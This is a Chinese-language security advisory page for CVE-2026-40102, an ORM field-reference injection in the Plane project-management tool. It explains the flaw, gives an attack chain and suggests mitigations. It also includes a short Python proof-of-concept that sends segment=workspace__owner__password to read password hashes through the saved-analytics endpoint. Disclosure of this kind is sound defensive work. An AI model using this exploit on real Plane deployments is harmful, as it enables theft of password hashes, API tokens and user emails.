IPBUF安全漏洞报告
English
CVE-2026-40102 CVSS 6.5 中危

CVE-2026-40102 Plane ORM字段引用注入漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-40102
漏洞类型
ORM注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plane

相关标签

ORM注入信息泄露PlaneCVE-2026-40102Django

漏洞概述

Plane是一个开源项目管理工具,其1.3.0及以下版本存在严重的安全缺陷。SavedAnalyticEndpoint接口未对用户控制的segment查询参数进行验证,直接将其传递给Django F()表达式,导致ORM字段引用注入漏洞。经过认证的工作区成员可利用此漏洞,通过构造特殊的请求遍历数据库外键关系,进而窃取敏感数据,如bcrypt密码哈希、API令牌及其他用户邮箱信息。

技术细节

该漏洞的核心在于SavedAnalyticEndpoint缺乏与AnalyticsEndpoint相同的白名单验证机制。攻击者只需拥有工作区成员权限,即可向`/api/workspaces/<slug>/saved-analytic-view/<analytic_id>/`发送GET请求。通过在segment参数中使用Django ORM的双下划线语法(例如`workspace__owner__password`),攻击者能控制数据库查询逻辑。恶意参数被传入`build_graph_plot()`函数,并利用`.values()`方法将查询结果直接投射到JSON响应中,从而绕过常规排序注入的限制,直接读取任意关联字段的敏感值。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Plane 1.3.0或更低版本。
STEP 2
获取凭证
攻击者注册或使用现有的低权限账户登录,获取Workspace Member权限。
STEP 3
漏洞利用
向SavedAnalyticEndpoint发送特制的GET请求,在segment参数中注入Django ORM查询语句(如workspace__owner__password)。
STEP 4
数据窃取
解析服务器返回的JSON响应,提取泄露的敏感信息,如密码哈希和API密钥。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://<target-host>/api/workspaces/<workspace-slug>/saved-analytic-view/<analytic_id>/" AUTH_TOKEN = "<your-auth-token>" # Member level token # Headers headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Exploit payload leveraging Django ORM field traversal # Attempting to extract the workspace owner's password hash params = { "segment": "workspace__owner__password" } try: response = requests.get(TARGET_URL, headers=headers, params=params) if response.status_code == 200: data = response.json() print("[+] Exploit successful! Sensitive data leaked:") print(data) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Plane <= 1.3.0

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)拦截包含双下划线(__)的segment参数请求,或者临时禁用受影响的端点功能,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表